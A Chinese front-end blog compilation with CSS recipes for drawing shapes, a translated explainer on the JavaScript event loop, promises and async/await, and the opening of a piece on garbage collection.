#star-five {
  margin: 50px 0;
  position: relative;
  display: block;
  color: red;
  width: 0px;
  height: 0px;
  border-right: 100px solid transparent;
  border-bottom: 70px solid red;
  border-left: 100px solid transparent;
  transform: rotate(35deg);
}
#star-five:before {
  border-bottom: 80px solid red;
  border-left: 30px solid transparent;
  border-right: 30px solid transparent;
  position: absolute;
  height: 0;
  width: 0;
  top: -45px;
  left: -65px;
  display: block;
  content: '';
  transform: rotate(-35deg);
}
#star-five:after {
  position: absolute;
  display: block;
  color: red;
  top: 3px;
  left: -105px;
  width: 0px;
  height: 0px;
  border-right: 100px solid transparent;
  border-bottom: 70px solid red;
  border-left: 100px solid transparent;
  transform: rotate(-70deg);
  content: '';
}

18.五边形

clipboard.png

#pentagon {
  position: relative;
  width: 54px;
  box-sizing: content-box;
  border-width: 50px 18px 0;
  border-style: solid;
  border-color: red transparent;
}
#pentagon:before {
  content: "";
  position: absolute;
  height: 0;
  width: 0;
  top: -85px;
  left: -18px;
  border-width: 0 45px 35px;
  border-style: solid;
  border-color: transparent transparent red;
}

19.六边形

clipboard.png

#hexagon {
  width: 100px;
  height: 55px;
  background: red;
  position: relative;
}
#hexagon:before {
  content: "";
  position: absolute;
  top: -25px;
  left: 0;
  width: 0;
  height: 0;
  border-left: 50px solid transparent;
  border-right: 50px solid transparent;
  border-bottom: 25px solid red;
}
#hexagon:after {
  content: "";
  position: absolute;
  bottom: -25px;
  left: 0;
  width: 0;
  height: 0;
  border-left: 50px solid transparent;
  border-right: 50px solid transparent;
  border-top: 25px solid red;
}

20.八边形

clipboard.png

#octagon {
  width: 100px;
  height: 100px;
  background: red;
  position: relative;
}
#octagon:before {
  content: "";
  width: 100px;
  height: 0;
  position: absolute;
  top: 0;
  left: 0;
  border-bottom: 29px solid red;
  border-left: 29px solid #eee;
  border-right: 29px solid #eee;
}
#octagon:after {
  content: "";
  width: 100px;
  height: 0;
  position: absolute;
  bottom: 0;
  left: 0;
  border-top: 29px solid red;
  border-left: 29px solid #eee;
  border-right: 29px solid #eee;
}  

21.爱心

clipboard.png

#heart {
  position: relative;
  width: 100px;
  height: 90px;
}
#heart:before,
#heart:after {
  position: absolute;
  content: "";
  left: 50px;
  top: 0;
  width: 50px;
  height: 80px;
  background: red;
  border-radius: 50px 50px 0 0;
  transform: rotate(-45deg);
  transform-origin: 0 100%;
}
#heart:after {
  left: 0;
  transform: rotate(45deg);
  transform-origin: 100% 100%;
}

22.无穷大

clipboard.png

#infinity {
  position: relative;
  width: 212px;
  height: 100px;
  box-sizing: content-box;
}
#infinity:before,
#infinity:after {
  content: "";
  box-sizing: content-box;
  position: absolute;
  top: 0;
  left: 0;
  width: 60px;
  height: 60px;
  border: 20px solid red;
  border-radius: 50px 50px 0 50px;
  transform: rotate(-45deg);
}
#infinity:after {
  left: auto;
  right: 0;
  border-radius: 50px 50px 50px 0;
  transform: rotate(45deg);
}

23.菱形

clipboard.png

#diamond {
  width: 0;
  height: 0;
  border: 50px solid transparent;
  border-bottom-color: red;
  position: relative;
  top: -50px;
}
#diamond:after {
  content: '';
  position: absolute;
  left: -50px;
  top: 50px;
  width: 0;
  height: 0;
  border: 50px solid transparent;
  border-top-color: red;
}

24.钻石

clipboard.png

#diamond-shield {
  width: 0;
  height: 0;
  border: 50px solid transparent;
  border-bottom: 20px solid red;
  position: relative;
  top: -50px;
}
#diamond-shield:after {
  content: '';
  position: absolute;
  left: -50px;
  top: 20px;
  width: 0;
  height: 0;
  border: 50px solid transparent;
  border-top: 70px solid red;
}

25.钻戒

clipboard.png

#diamond-narrow {
  width: 0;
  height: 0;
  border: 50px solid transparent;
  border-bottom: 70px solid red;
  position: relative;
  top: -50px;
}
#diamond-narrow:after {
  content: '';
  position: absolute;
  left: -50px;
  top: 70px;
  width: 0;
  height: 0;
  border: 50px solid transparent;
  border-top: 70px solid red;
}

26.钻石2

clipboard.png

#cut-diamond {
  border-style: solid;
  border-color: transparent transparent red transparent;
  border-width: 0 25px 25px 25px;
  height: 0;
  width: 50px;
  box-sizing: content-box;
  position: relative;
  margin: 20px 0 50px 0;
}
#cut-diamond:after {
  content: "";
  position: absolute;
  top: 25px;
  left: -25px;
  width: 0;
  height: 0;
  border-style: solid;
  border-color: red transparent transparent transparent;
  border-width: 70px 50px 0 50px;
}

27.蛋蛋

clipboard.png

#egg {
  display: block;
  width: 126px;
  height: 180px;
  background-color: red;
  border-radius: 50% 50% 50% 50% / 60% 60% 40% 40%;
}

28.吃豆人

clipboard.png

#pacman {
  width: 0px;
  height: 0px;
  border-right: 60px solid transparent;
  border-top: 60px solid red;
  border-left: 60px solid red;
  border-bottom: 60px solid red;
  border-top-left-radius: 60px;
  border-top-right-radius: 60px;
  border-bottom-left-radius: 60px;
  border-bottom-right-radius: 60px;
}

29.对话泡泡

clipboard.png

#talkbubble {
  width: 120px;
  height: 80px;
  background: red;
  position: relative;
  -moz-border-radius: 10px;
  -webkit-border-radius: 10px;
  border-radius: 10px;
}
#talkbubble:before {
  content: "";
  position: absolute;
  right: 100%;
  top: 26px;
  width: 0;
  height: 0;
  border-top: 13px solid transparent;
  border-right: 26px solid red;
  border-bottom: 13px solid transparent;
}

30. 12点 爆发

clipboard.png

#burst-12 {
  background: red;
  width: 80px;
  height: 80px;
  position: relative;
  text-align: center;
}
#burst-12:before,
#burst-12:after {
  content: "";
  position: absolute;
  top: 0;
  left: 0;
  height: 80px;
  width: 80px;
  background: red;
}
#burst-12:before {
  transform: rotate(30deg);
}
#burst-12:after {
  transform: rotate(60deg);
}

31. 8点 爆发

clipboard.png

#burst-8 {
  background: red;
  width: 80px;
  height: 80px;
  position: relative;
  text-align: center;
  transform: rotate(20deg);
}
#burst-8:before {
  content: "";
  position: absolute;
  top: 0;
  left: 0;
  height: 80px;
  width: 80px;
  background: red;
  transform: rotate(135deg);
}

32.太极

clipboard.png

#yin-yang {
  width: 96px;
  box-sizing: content-box;
  height: 48px;
  background: #eee;
  border-color: red;
  border-style: solid;
  border-width: 2px 2px 50px 2px;
  border-radius: 100%;
  position: relative;
}
#yin-yang:before {
  content: "";
  position: absolute;
  top: 50%;
  left: 0;
  background: #eee;
  border: 18px solid red;
  border-radius: 100%;
  width: 12px;
  height: 12px;
  box-sizing: content-box;
}
#yin-yang:after {
  content: "";
  position: absolute;
  top: 50%;
  left: 50%;
  background: red;
  border: 18px solid #eee;
  border-radius: 100%;
  width: 12px;
  height: 12px;
  box-sizing: content-box;
}  

33.徽章丝带

clipboard.png

#badge-ribbon {
  position: relative;
  background: red;
  height: 100px;
  width: 100px;
  border-radius: 50px;
}
#badge-ribbon:before,
#badge-ribbon:after {
  content: '';
  position: absolute;
  border-bottom: 70px solid red;
  border-left: 40px solid transparent;
  border-right: 40px solid transparent;
  top: 70px;
  left: -10px;
  transform: rotate(-140deg);
}
#badge-ribbon:after {
  left: auto;
  right: -10px;
  transform: rotate(140deg);
}

34.太空入侵者(电脑游戏名)

clipboard.png

#space-invader {
  box-shadow: 0 0 0 1em red,
  0 1em 0 1em red,
  -2.5em 1.5em 0 .5em red,
  2.5em 1.5em 0 .5em red,
  -3em -3em 0 0 red,
  3em -3em 0 0 red,
  -2em -2em 0 0 red,
  2em -2em 0 0 red,
  -3em -1em 0 0 red,
  -2em -1em 0 0 red,
  2em -1em 0 0 red,
  3em -1em 0 0 red,
  -4em 0 0 0 red,
  -3em 0 0 0 red,
  3em 0 0 0 red,
  4em 0 0 0 red,
  -5em 1em 0 0 red,
  -4em 1em 0 0 red,
  4em 1em 0 0 red,
  5em 1em 0 0 red,
  -5em 2em 0 0 red,
  5em 2em 0 0 red,
  -5em 3em 0 0 red,
  -3em 3em 0 0 red,
  3em 3em 0 0 red,
  5em 3em 0 0 red,
  -2em 4em 0 0 red,
  -1em 4em 0 0 red,
  1em 4em 0 0 red,
  2em 4em 0 0 red;
  background: red;
  width: 1em;
  height: 1em;
  overflow: hidden;
  margin: 50px 0 70px 65px;
}    

35.电视

clipboard.png

#tv {
  position: relative;
  width: 200px;
  height: 150px;
  margin: 20px 0;
  background: red;
  border-radius: 50% / 10%;
  color: white;
  text-align: center;
  text-indent: .1em;
}
#tv:before {
  content: '';
  position: absolute;
  top: 10%;
  bottom: 10%;
  right: -5%;
  left: -5%;
  background: inherit;
  border-radius: 5% / 50%;
}

36.雪佛龙

clipboard.png

#chevron {
  position: relative;
  text-align: center;
  padding: 12px;
  margin-bottom: 6px;
  height: 60px;
  width: 200px;
}
#chevron:before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  height: 100%;
  width: 51%;
  background: red;
  transform: skew(0deg, 6deg);
}
#chevron:after {
  content: '';
  position: absolute;
  top: 0;
  right: 0;
  height: 100%;
  width: 50%;
  background: red;
  transform: skew(0deg, -6deg);
}   

37.放大镜

clipboard.png

#magnifying-glass {
  font-size: 10em;
  display: inline-block;
  width: 0.4em;
  box-sizing: content-box;
  height: 0.4em;
  border: 0.1em solid red;
  position: relative;
  border-radius: 0.35em;
}
#magnifying-glass:before {
  content: "";
  display: inline-block;
  position: absolute;
  right: -0.25em;
  bottom: -0.1em;
  border-width: 0;
  background: red;
  width: 0.35em;
  height: 0.08em;
  transform: rotate(45deg);
}

38.Facebook图标

clipboard.png

#facebook-icon {
  background: red;
  text-indent: -999em;
  width: 100px;
  height: 110px;
  box-sizing: content-box;
  border-radius: 5px;
  position: relative;
  overflow: hidden;
  border: 15px solid red;
  border-bottom: 0;
}
#facebook-icon:before {
  content: "/20";
  position: absolute;
  background: red;
  width: 40px;
  height: 90px;
  bottom: -30px;
  right: -37px;
  border: 20px solid #eee;
  border-radius: 25px;
  box-sizing: content-box;
}
#facebook-icon:after {
  content: "/20";
  position: absolute;
  width: 55px;
  top: 50px;
  height: 20px;
  background: #eee;
  right: 5px;
  box-sizing: content-box;
}

39.月亮

clipboard.png

#moon {
  width: 80px;
  height: 80px;
  border-radius: 50%;
  box-shadow: 15px 15px 0 0 red;
}  

40.旗

clipboard.png

#flag {
  width: 110px;
  height: 56px;
  box-sizing: content-box;
  padding-top: 15px;
  position: relative;
  background: red;
  color: white;
  font-size: 11px;
  letter-spacing: 0.2em;
  text-align: center;
  text-transform: uppercase;
}
#flag:after {
  content: "";
  position: absolute;
  left: 0;
  bottom: 0;
  width: 0;
  height: 0;
  border-bottom: 13px solid #eee;
  border-left: 55px solid transparent;
  border-right: 55px solid transparent;
}

41.圆锥

clipboard.png

 #cone {
  width: 0;
  height: 0;
  border-left: 70px solid transparent;
  border-right: 70px solid transparent;
  border-top: 100px solid red;
  border-radius: 50%;
}

42.十字架

clipboard.png

#cross {
  background: red;
  height: 100px;
  position: relative;
  width: 20px;
}
#cross:after {
  background: red;
  content: "";
  height: 20px;
  left: -40px;
  position: absolute;
  top: 40px;
  width: 100px;
}

43.根基

clipboard.png

 #base {
  background: red;
  display: inline-block;
  height: 55px;
  margin-left: 20px;
  margin-top: 55px;
  position: relative;
  width: 100px;
}
#base:before {
  border-bottom: 35px solid red;
  border-left: 50px solid transparent;
  border-right: 50px solid transparent;
  content: "";
  height: 0;
  left: 0;
  position: absolute;
  top: -35px;
  width: 0;
}

44.指示器

clipboard.png

#pointer {
  width: 200px;
  height: 40px;
  position: relative;
  background: red;
}
#pointer:after {
  content: "";
  position: absolute;
  left: 0;
  bottom: 0;
  width: 0;
  height: 0;
  border-left: 20px solid white;
  border-top: 20px solid transparent;
  border-bottom: 20px solid transparent;
}
#pointer:before {
  content: "";
  position: absolute;
  right: -20px;
  bottom: 0;
  width: 0;
  height: 0;
  border-left: 20px solid red;
  border-top: 20px solid transparent;
  border-bottom: 20px solid transparent;
}

45.锁

clipboard.png

#lock {
  font-size: 8px;
  position: relative;
  width: 18em;
  height: 13em;
  border-radius: 2em;
  top: 10em;
  box-sizing: border-box;
  border: 3.5em solid red;
  border-right-width: 7.5em;
  border-left-width: 7.5em;
  margin: 0 0 6rem 0;
}
#lock:before {
  content: "";
  box-sizing: border-box;
  position: absolute;
  border: 2.5em solid red;
  width: 14em;
  height: 12em;
  left: 50%;
  margin-left: -7em;
  top: -12em;
  border-top-left-radius: 7em;
  border-top-right-radius: 7em;
}
#lock:after {
  content: "";
  box-sizing: border-box;
  position: absolute;
  border: 1em solid red;
  width: 5em;
  height: 8em;
  border-radius: 2.5em;
  left: 50%;
  top: -1em;
  margin-left: -2.5em;
}

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

** 原文:https://css-tricks.com/the-shapes-of-css/ **

欢迎加入前端大家庭,里面会经常分享一些技术资源。

4.JavaScript是如何工作的:事件循环和异步编程的崛起+ 5种使用 async/await 更好地编码方式!

通过第一篇文章回顾在单线程环境中编程的缺陷以及如何解决这些缺陷来构建健壮的JavaScript UI。按照惯例,在本文的最后,分享5个如何使用async/ wait编写更简洁代码的技巧。

为什么单线程是一个限制?

在发布的第一篇文章中,思考了这样一个问题:当调用堆栈中有函数调用需要花费大量时间来处理时会发生什么?

例如,假设在浏览器中运行一个复杂的图像转换算法。

当调用堆栈有函数要执行时,浏览器不能做任何其他事情——它被阻塞了。这意味着浏览器不能渲染,不能运行任何其他代码,只是卡住了。那么你的应用 UI 界面就卡住了,用户体验也就不那么好了。

在某些情况下,这可能不是主要的问题。还有一个更大的问题是一旦你的浏览器开始处理调用堆栈中的太多任务,它可能会在很长一段时间内停止响应。这时,很多浏览器会抛出一个错误,提示是否终止页面:

image

JavaScript程序的构建块

你可能在单个.js文件中编写 JavaScript 应用程序,但可以肯定的是,你的程序由几个块组成,其中只有一个正在执行,其余的将在稍后执行。最常见的块单元是函数。

大多数刚接触JavaScript的开发人员似乎都有这样的问题,就是认为所有函数都是同步完成,没有考虑的异步的情况。如下例子:

image

你可能知道标准 Ajax 请求不是同步完成的,这说明在代码执行时 Ajax(..) 函数还没有返回任何值来分配给变量 response

一种等待异步函数返回的结果简单的方式就是 回调函数:

image

注意:实际上可以设置同步Ajax请求,但永远不要那样做。如果设置同步Ajax请求,应用程序的界面将被阻塞——用户将无法单击、输入数据、导航或滚动。这将阻止任何用户交互,这是一种可怕的做法。

以下是同步 Ajax 地,但是请千万不要这样做:

image

这里使用Ajax请求作为示例,你可以让任何代码块异步执行。

这可以通过 setTimeout(callback,milliseconds) 函数来完成。setTimeout 函数的作用是设置一个回调函数milliseconds后执行,如下:

function first() {
    console.log('first');
}
function second() {
    console.log('second');
}
function third() {
    console.log('third');
}
first();
setTimeout(second, 1000); // Invoke `second` after 1000ms
third();

输出:

first
third
second

解析事件循环

这里从一个有点奇怪的声明开始——尽管允许异步 JavaScript 代码(就像上例讨论的setTimeout),但在ES6之前,JavaScript本身实际上从来没有任何内置异步的概念,JavaScript引擎在任何给定时刻只执行一个块。

那么,是谁告诉JS引擎执行程序的代码块呢?实际上,JS引擎并不是单独运行的——它是在一个宿主环境中运行的,对于大多数开发人员来说,宿主环境就是典型的web浏览器或Node.js。实际上,现在JavaScript被嵌入到各种各样的设备中,从机器人到灯泡,每个设备代表 JS 引擎的不同类型的托管环境。

所有环境中的共同点是一个称为事件循环的内置机制,它处理程序的多个块在一段时间内通过调用调用JS引擎的执行。

这意味着JS引擎只是任意JS代码的按需执行环境,是宿主环境处理事件运行及结果。

例如,当 JavaScript 程序发出 Ajax 请求从服务器获取一些数据时,在函数(“回调”)中设置“response”代码,JS引擎告诉宿主环境:"我现在要推迟执行,但当完成那个网络请求时,会返回一些数据,请回调这个函数并给数据传给它"。

然后浏览器将侦听来自网络的响应,当监听到网络请求返回内容时,浏览器通过将回调函数插入事件循环来调度要执行的回调函数。以下是示意图:

image

这些Web api是什么?从本质上说,它们是无法访问的线程,只能调用它们。它们是浏览器的并发部分。如果你是一个Nojs.jsjs开发者,这些就是 c++ 的 Api。

这样的迭代在事件循环中称为**(tick)标记**,每个事件只是一个函数回调。

image

让我们“执行”这段代码,看看会发生什么:

1.初始化状态都为空,浏览器控制台是空的的,调用堆栈也是空的

image

2. console.log('Hi')添加到调用堆栈中

image

3. 执行console.log('Hi')

image

4. console.log('Hi')从调用堆栈中移除。

image

5. setTimeout(function cb1() { ... }) 添加到调用堆栈。

image

6. setTimeout(function cb1() { ... }) 执行,浏览器创建一个计时器计时,这个作为Web api的一部分。

image

7. setTimeout(function cb1() { ... })本身执行完成,并从调用堆栈中删除。

image

8. console.log('Bye') 添加到调用堆栈

image

9. 执行 console.log('Bye')

image

10. console.log('Bye') 从调用调用堆栈移除

image

11. 至少在5秒之后,计时器完成并将cb1回调推到回调队列。

image

12. 事件循环从回调队列中获取cb1并将其推入调用堆栈。

image

13. 执行cb1并将console.log('cb1')添加到调用堆栈。

image

14. 执行 console.log('cb1')

image

15. console.log('cb1') 从调用堆栈中移除
image

16. cb1 从调用堆栈中移除

image

快速回顾:

图片描述

值得注意的是,ES6指定了事件循环应该如何工作,这意味着在技术上它属于JS引擎的职责范围,不再仅仅扮演宿主环境的角色。这种变化的一个主要原因是ES6中引入了 Promises,因为ES6需要对事件循环队列上的调度操作进行直接、细度的控制。

setTimeout(…) 是怎么工作的

需要注意的是,setTimeout(…)不会自动将回调放到事件循环队列中。它设置了一个计时器。当计时器过期时,环境将回调放到事件循环中,以便将来某个**标记(tick)**将接收并执行它。请看下面的代码:

setTimeout(myCallback, 1000);

这并不意味着myCallback将在1000毫秒后就立马执行,而是在1000毫秒后,myCallback被添加到队列中。但是,如果队列有其他事件在前面添加回调刚必须等待前后的执行完后在执行myCallback

有不少的文章和教程上开始使用异步JavaScript代码,建议用setTimeout(回调,0),现在你知道事件循环和setTimeout是如何工作的:调用setTimeout 0毫秒作为第二个参数只是推迟回调将它放到回调队列中,直到调用堆栈是空的。

请看下面的代码:

console.log('Hi');
setTimeout(function() {
    console.log('callback');
}, 0);
console.log('Bye');

虽然等待时间被设置为0 ms,但在浏览器控制台的结果如下:

Hi
Bye
callback

ES6的任务队列是什么?

ES6中引入了一个名为“任务队列”的概念。它是事件循环队列上的一个层。最为常见在Promises 处理的异步方式。

现在只讨论这个概念,以便在讨论带有Promises的异步行为时,能够了解 Promises 是如何调度和处理。

想像一下:任务队列是一个附加到事件循环队列中每个标记末尾的队列。某些异步操作可能发生在事件循环的一个标记期间,不会导致一个全新的事件被添加到事件循环队列中,而是将一个项目(即任务)添加到当前标记的任务队列的末尾。

这意味着可以放心添加另一个功能以便稍后执行,它将在其他任何事情之前立即执行。

任务还可能创建更多任务添加到同一队列的末尾。理论上,任务“循环”(不断添加其他任务的任等等)可以无限运行,从而使程序无法获得转移到下一个事件循环标记的必要资源。从概念上讲,这类似于在代码中表示长时间运行或无限循环(如while (true) ..)。

任务有点像 setTimeout(callback, 0) “hack”,但其实现方式是引入一个定义更明确、更有保证的顺序:稍后,但越快越好。

回调

正如你已经知道的,回调是到目前为止JavaScript程序中表达和管理异步最常见的方法。实际上,回调是JavaScript语言中最基本的异步模式。无数的JS程序,甚至是非常复杂的程序,除了一些基本都是在回调异步基础上编写的。

然而回调方式还是有一些缺点,许多开发人员都在试图找到更好的异步模式。但是,如果不了解底层的内容,就不可能有效地使用任何抽象出来的异步模式。

在下一章中,我们将深入探讨这些抽象,以说明为什么更复杂的异步模式(将在后续文章中讨论)是必要的,甚至是值得推荐的。

嵌套回调

请看以下代码:

image

我们有一个由三个函数组成的链嵌套在一起,每个函数表示异步系列中的一个步骤。

这种代码通常被称为“回调地狱”。但是“回调地狱”实际上与嵌套/缩进几乎没有任何关系,这是一个更深层次的问题。

首先,我们等待“单击”事件,然后等待计时器触发,然后等待Ajax响应返回,此时可能会再次重复所有操作。

乍一看,这段代码似乎可以将其异步性自然地对应到以下顺序步骤:

listen('click', function (e) {
	// ..
});

然后:

setTimeout(function(){
    // ..
}, 500);

接着:

ajax('https://api.example.com/endpoint', function (text){
    // ..
});

最后:

if (text == "hello") {
    doSomething();
}
else if (text == "world") {
    doSomethingElse();
}

因此,这种连续的方式来表示异步代码似乎更自然,不是吗?一定有这样的方法,对吧?

Promises

请看下面的代码:

var x = 1;
var y = 2;
console.log(x + y);

这非常简单:它对xy的值进行求和,并将其打印到控制台。但是,如果xy的值丢失了,仍然需要求值,要怎么办?

例如,需要从服务器取回xy的值,然后才能在表达式中使用它们。假设我们有一个函数loadXloadY````,它们分别从服务器加载xy的值。然后,一旦xy都被加载,假设我们有一个函数sum,它对xy```的值进行求和。

它可能看起来像这样(很丑,不是吗?)

image

这里有一些非常重要的事情——在这个代码片段中,我们将x和y作为异步获取的的值,并且执行了一个函数sum(…)(从外部),它不关心x或y,也不关心它们是否立即可用。

当然,这种基于回调的粗略方法还有很多不足之处。 这只是一个我们不必判断对于异步请求的值的处理方式一个小步骤而已。

Promise Value

用Promise来重写上例:

image

在这个代码片段中有两层Promise。

fetchXfetchY 先直接调用,返回一个promise,传给 sumsum 创建并返回一个Promise,通过调用 then 等待 Promise,完成后,sum 已经准备好了(resolve),将会打印出来。

第二层是 sum(…) 创建的 Promise ( 通过 Promise.all([ ... ]) )然后返回 Promise,通过调用then(…)来等待。当 sum(…) 操作完成时,sum 传入的两个 Promise 都执行完后,可以打印出来了。这里隐藏了在sum(…)中等待xy未来值的逻辑。

**注意:**在sum(...)内,Promise.all([...])调用创建一个 promise(等待 promiseX 和 promiseY 解析)。 然后链式调用 .then(...)方法里再的创建了另一个 Promise,然后把 返回的 x 和 和(values[0] + values1) 进行求和 并返回 。

因此,我们在sum(...)末尾调用then(...)方法  —  实际上是在返回的第二个 Pwwromise 上运行,而不是由Promise.all([ ... ])创建 Promise。 此外,虽然没有在第二个 Promise 结束时再调用 then方法 ,其时这里也创建一个 Promise。

Promise.then(…) 实际上可以使用两个函数,第一个函数用于执行成功的操作,第二个函数用于处理失败的操作:

如果在获取xy时出现错误,或者在添加过程中出现某种失败,sum(…) 返回的 Promise将被拒绝,传递给 then(…) 的第二个回调错误处理程序将从 Promise 接收失败的信息。

从外部看,由于 Promise 封装了依赖于时间的状态(等待底层值的完成或拒绝,Promise 本身是与时间无关的),它可以按照可预测的方式组成,不需要开发者关心时序或底层的结果。一旦 Promise 决议,此刻它就成为了外部不可变的值。

可链接调用 Promise 真的很有用:

创建一个延迟2000ms内完成的 Promise ,然后我们从第一个then(...)回调中返回,这会导致第二个then(...)等待 2000ms。

注意:因为Promise 一旦被解析,它在外部是不可变的,所以现在可以安全地将该值传递给任何一方,因为它不能被意外地或恶意地修改,这一点在多方遵守承诺的决议时尤其正确。一方不可能影响另一方遵守承诺决议的能力,不变性听起来像是一个学术话题,但它实际上是承诺设计最基本和最重要的方面之一,不应该被随意忽略。

使用 Promise 还是不用?

关于 Promise 的一个重要细节是要确定某个值是否是一个实际的Promise 。换句话说,它是否具有像Promise 一样行为?

我们知道 Promise 是由new Promise(…)语法构造的,你可能认为``` p instanceof Promise``是一个足够可以判断的类型,嗯,不完全是。

这主要是因为可以从另一个浏览器窗口(例如iframe)接收 Promise 值,而该窗口或框架具有自己的 Promise 值,与当前窗口或框架中的 Promise 值不同,所以该检查将无法识别 Promise 实例。

此外,库或框架可以选择性的封装自己的 Promise,而不使用原生 ES6 的Promise 来实现。事实上,很可能在老浏览器的库中没有 Promise。

吞掉错误或异常

如果在 Promise 创建中,出现了一个javascript一场错误(TypeError 或者 ReferenceError),这个异常会被捕捉,并且使这个 promise 被拒绝。

但是,如果在调用 then(…) 方法中出现了 JS 异常错误,那么会发生什么情况呢?即使它不会丢失,你可能会发现它们的处理方式有点令人吃惊,直到你挖得更深一点:

image

看起来foo.bar()中的异常确实被吞噬了,不过,它不是。然而,还有一些更深层次的问题,我们没有注意到。 p.then(…) 调用本身返回另一个 Promise,该 Promise 将被 TypeError 异常拒绝。

处理未捕获异常

许多人会说,还有其他更好的方法。

一个常见的建议是,Promise 应该添加一个 done(…),这实际上是将 Promise 链标记为 “done”。done(…) 不会创建并返回 Promise ,因此传递给 done(..) 的回调显然不会将问题报告给不存在的链接 Promise 。

Promise 对象的回调链,不管以 then 方法或 catch 方法结尾,要是最后一个方法抛出错误,都有可能无法捕捉到(因为 Promise 内部的错误不会冒泡到全局)。因此,我们可以提供一个 done 方法,总是处于回调链的尾端,保证抛出任何可能出现的错误。

image

ES8中改进了什么 ?Async/await (异步/等待)

JavaScript ES8引入了 async/await,这使得使用 Promise 的工作更容易。这里将简要介绍async/await 提供的可能性以及如何利用它们编写异步代码。

使用 async 声明异步函数。这个函数返回一个 AsyncFunction 对象。AsyncFunction 对象表示该函数中包含的代码的异步函数。

调用使用 async 声明函数时,它返回一个 Promise。当这个函数返回一个值时,这个值只是一个普通值而已,这个函数内部将自动创建一个承诺,并使用函数返回的值进行解析。当这个函数抛出异常时,Promise 将被抛出的值拒绝。

使用 async 声明函数时可以包含一个 await 符号,await 暂停这个函数的执行并等待传递的 Promise 的解析完成,然后恢复这个函数的执行并返回解析后的值。

async/wait 的目的是简化使用承诺的行为

让看看下面的例子:

function getNumber1() {
    return Promise.resolve('374');
}
// 这个函数与getNumber1相同
async function getNumber2() {
    return 374;
}

类似地,抛出异常的函数等价于返回被拒绝的 Promise 的函数:

function f1() {
    return Promise.reject('Some error');
}
async function f2() {
    throw 'Some error';
}

await 关键字只能在异步函数中使用,并允许同步等待 Promise。如果在 async 函数之外使用 Promise,仍然需要使用 then 回调:

image

还可以使用“异步函数表达式”定义异步函数。异步函数表达式与异步函数语句非常相似,语法也几乎相同。异步函数表达式和异步函数语句之间的主要区别是函数名,可以在异步函数表达式中省略函数名来创建匿名函数。异步函数表达式可以用作生命(立即调用的函数表达式),一旦定义它就会运行。

var loadData = async function() {
    // `rp` is a request-promise function.
    var promise1 = rp('https://api.example.com/endpoint1');
    var promise2 = rp('https://api.example.com/endpoint2');
   
    // Currently, both requests are fired, concurrently and
    // now we'll have to wait for them to finish
    var response1 = await promise1;
    var response2 = await promise2;
    return response1 + ' ' + response2;
}

更重要的是,在所有主流的浏览器都支持 async/await:

image

最后,重要的是不要盲目选择编写异步代码的“最新”方法。理解异步 JavaScript 的内部结构非常重要,了解为什么异步JavaScript如此关键,并深入理解所选择的方法的内部结构。与编程中的其他方法一样,每种方法都有优点和缺点。

编写高度可维护性、非易碎异步代码的5个技巧

1、简介代码: 使用 async/await 可以编写更少的代码。 每次使用 async/await时,都会跳过一些不必要的步骤:使用.then,创建一个匿名函数来处理响应,例如:

// rp是一个请求 Promise 函数。
rp(‘https://api.example.com/endpoint1').then(function(data) {
    // …
});

和:

// `rp` is a request-promise function.
var response = await rp(‘https://api.example.com/endpoint1');

2、错误处理: Async/wait 可以使用相同的代码结构(众所周知的try/catch语句)处理同步和异步错误。看看它是如何与 Promise 结合的:

function loadData() {
    try { // Catches synchronous errors.
        getJSON().then(function(response) {
            var parsed = JSON.parse(response);
            console.log(parsed);
        }).catch(function(e) { // Catches asynchronous errors
            console.log(e); 
        });
    } catch(e) {
        console.log(e);
    }
}

async function loadData() {
    try {
        var data = JSON.parse(await getJSON());
        console.log(data);
    } catch(e) {
        console.log(e);
    }
}

3、条件:用async/ wait编写条件代码要简单得多:

function loadData() {
  return getJSON()
    .then(function(response) {
      if (response.needsAnotherRequest) {
        return makeAnotherRequest(response)
          .then(function(anotherResponse) {
            console.log(anotherResponse)
            return anotherResponse
          })
      } else {
        console.log(response)
        return response
      }
    })
}

async function loadData() {
  var response = await getJSON();
  if (response.needsAnotherRequest) {
    var anotherResponse = await makeAnotherRequest(response);
    console.log(anotherResponse)
    return anotherResponse
  } else {
    console.log(response);
    return response;    
  }
}

4、堆栈帧:与 async/await不同,从 Promise 链返回的错误堆栈不提供错误发生在哪里。看看下面这些:

function loadData() {
  return callAPromise()
    .then(callback1)
    .then(callback2)
    .then(callback3)
    .then(() => {
      throw new Error("boom");
    })
}
loadData()
  .catch(function(e) {
    console.log(err);
// Error: boom at callAPromise.then.then.then.then (index.js:8:13)
});

与:

async function loadData() {
  await callAPromise1()
  await callAPromise2()
  await callAPromise3()
  await callAPromise4()
  await callAPromise5()
  throw new Error("boom");
}
loadData()
  .catch(function(e) {
    console.log(err);
    // output
    // Error: boom at loadData (index.js:7:9)
});

5.调试:如果你使用过 Promise ,那么你知道调试它们是一场噩梦。例如,如果在一个程序中设置了一个断点,然后阻塞并使用调试快捷方式(如“停止”),调试器将不会移动到下面,因为它只“逐步”执行同步代码。使用async/wait,您可以逐步完成wait调用,就像它们是正常的同步函数一样。

编辑中可能存在的bug没法实时知道,事后为了解决这些bug,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具Fundebug

原文:https://blog.sessionstack.com/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with-2f077c4438b5

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

前端面试:谈谈 JS 垃圾回收机制

最近看到一些面试的回顾,不少有被面试官问到谈谈JS 垃圾回收机制,说实话,面试官会问这个问题,说明他最近看到一些关于 JS 垃圾回收机制的相关的文章,为了 B 格,就会顺带的问问。

最近看到一篇讲 JS 垃圾回收的国外文章,觉得讲得明白,所以就翻译过来了,希望对你们有所帮助。

垃圾回收

JavaScript 中的内存管理是自动执行的,而且是不可见的。我们创建基本类型、对象、函数……所有这些都需要内存。

当不再需要某样东西时会发生什么? JavaScript 引擎是如何发现并清理它?

可达性

JavaScript 中内存管理的主要概念是可达性。

简单地说,“可达性” 值就是那些以某种方式可访问或可用的值,它们被保证存储在内存中。

1. 有一组基本的固有可达值,由于显而易见的原因无法删除。例如:

  • 本地函数的局部变量和参数

  • 当前嵌套调用链上的其他函数的变量和参数

  • 全局变量

  • 还有一些其他的,内部的

这些值称为根。

2. 如果引用或引用链可以从根访问任何其他值,则认为该值是可访问的。

